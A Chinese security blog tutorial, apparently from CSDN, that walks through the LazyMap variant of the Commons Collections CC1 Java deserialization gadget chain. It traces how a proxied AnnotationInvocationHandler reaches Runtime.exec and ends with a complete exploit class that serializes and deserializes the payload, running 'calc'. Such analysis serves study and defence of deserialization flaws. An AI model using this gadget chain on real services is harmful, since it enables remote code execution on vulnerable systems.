WEB安全--Java安全--LazyMap_CC1利用链
一、前言
该篇是基于WEB安全--Java安全--CC1利用链-CSDN博客的补充，上篇文章利用的是TransformedMap类，而CC链的原作者是利用的LazyMap类作为介质进行的触发。
所以本文将分析国外原作者在ysoserial commonscollections1中给出的CC1利用链。
二、回顾梳理
在我的上一篇文章中，对CC1链的触发流程总结是这样的：
| TransformedMap触发流程 | ||
|---|---|---|
| ObjectInputStream.readObject() | ==> | AnnotationInvocationHandler.readObject() |
| AnnotationInvocationHandler.readObject() | ==> | MapEntry.setValue() |
| MapEntry.setValue() | ==> | TransformedMap.checkSetValue() |
| TransformedMap.checkSetValue() | ==> | ChainedTransformer.transform() |
| ChainedTransformer.transform() | ==> | ConstantTransformer.transform() |
| ConstantTransformer.transform() | ==> | 将xxxxProxy改为Runtime.class |
| ChainedTransformer.transform() | ==> | InvokeTransformer.transform() |
| InvokeTransformer.transform() | ==> | 调用Runtime.class的exec方法执行其命令 |
而LazyMap版本CC1利用链的触发流程是这样的：
| LazyMap触发流程 | ||
|---|---|---|
| ObjectInputStream.readObject() | ==> | AnnotationInvocationHandler.readObject() |
| AnnotationInvocationHandler.readObject() | ==> | Map(Proxy).entrySet() |
| Map(Proxy).entrySet() | ==> | AnnotationInvocationHandler.invoke() |
| AnnotationInvocationHandler.invoke() | ==> | LazyMap.get() |
| LazyMap.get() | ==> | ChainedTransformer.transform() |
| ChainedTransformer.transform() | ==> | ConstantTransformer.transform() |
| ConstantTransformer.transform() | ==> | 将xxxxProxy改为Runtime.class |
| ChainedTransformer.transform() | ==> | InvokeTransformer.transform() |
| InvokeTransformer.transform() | ==> | 调用Runtime.class的exec方法执行其命令 |
三、LazyMap版本CC1利用链
3.1、反向分析
现在我们主要分析：当AnnotationInvocationHandler.readObject()被触发后，通过哪些介质最后调用的ChainedTransformer.transform()
依旧是反向分析，从ChainedTransformer.transform()开始：
除了TransformedMap.checkSetValue()可以调用ChainedTransformer.transform()，还有LazyMap的get()方法也可以调用：
LazyMap.get()
构造ChainedTransformer对象：
Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);当LazyMap对ChainedTransformer对象进行处理时就会触发ChainedTransformer的transform()方法
那么哪里的方法又调用了get()方法呢？
实际上在AnnotationInvocationHandler类中的invoke()方法刚好有方法满足这个条件：
AnnotationInvocationHandler.invoke()
public Object invoke(Object proxy, Method method, Object[] args) {String member = method.getName();Class<?>[] paramTypes = method.getParameterTypes();if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)return equalsImpl(args[0]);if (paramTypes.length != 0)throw new AssertionError("Too many parameters for an annotation method");switch(member) {case "toString":return toStringImpl();case "hashCode":return hashCodeImpl();case "annotationType":return type;}// Handle annotation member accessorsObject result = memberValues.get(member);
经分析，我们需要满足前两条 if 语句才能触发memberValues对象的get()方法，，否则会提前返回值
第一个if：
if (member.equals("equals") && paramTypes.length == 1 && paramTypes[0] == Object.class)
我们调用方法的名字不为 equals即可绕过
第二个if：
if (paramTypes.length != 0)
我们无参调用方法即可绕过
接下来我们分析如何将LazyMap对象赋值给该类的memberValues变量：
我们查看构造方法，发现该方法是私有的，我们无法调用
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {Class<?>[] superInterfaces = type.getInterfaces();if (!type.isAnnotation() ||superInterfaces.length != 1 ||superInterfaces[0] != java.lang.annotation.Annotation.class)throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");this.type = type;this.memberValues = memberValues;}
然后我们看一下invoke()方法所属类的定义，如下：
class AnnotationInvocationHandler implements InvocationHandler, Serializable {……
}
发现这个类实现了InvocationHandler接口，代表该类可以作为动态代理的代理处理器，只要实现了InvocationHandler接口，就必须重写 invoke 方法，并且调用使用该代理处理器的代理对象中方法之前会自动执行该 invoke方法。
也就是说我们只需要创建一个代理对象，通过反射让其代理处理器为AnnotationInvocationHandler，然后无参调用代理对象的任意方法，即可触发invoke方法
在Java的动态代理机制中，在执行代理对象中的方法之前，会自动执行其代理处理器中的invoke方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);这样触发invoke()方法的问题便解决了，接下来我们只需创建一个使用AnnotationInvocationHandler作为处理器的代理对象，并无参调用该代理对象中的方法即可，创建代理对象代码如下
Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);接下来便是要解决如何无参调用mapProxy对象中的方法
readObject() ==> memberValues.entrySet()
正巧，在AnnotationInvocationHandler类中的readObject()调用了memberValues.entrySet()
我们通过之前的反射获取静态方法，并将mapProxy作为对象传入
Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);所以触发AnnotationInvocationHandler.readObject()方法就会触发memberValues.entrySet()，也就是会触发mapProxy.entrySet()
3.2、EXP
package org.example;import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;public class CC1_LazyMap {public static void main(String[] args) throws Exception{Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})};ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);HashMap<Object,Object> map = new HashMap<>();Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer);Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);annotationInvocationHandlerConstructor.setAccessible(true);InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstructor.newInstance(Target.class,lazyMap);Map mapProxy = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},h);Object hacker = annotationInvocationHandlerConstructor.newInstance(Target.class,mapProxy);serialize(hacker);unserialize("hacker.bin");}public static void serialize(Object obj) throws Exception{ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));oss.writeObject(obj);}public static Object unserialize(String Filename) throws Exception{ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));Object obj = ois.readObject();return obj;}
}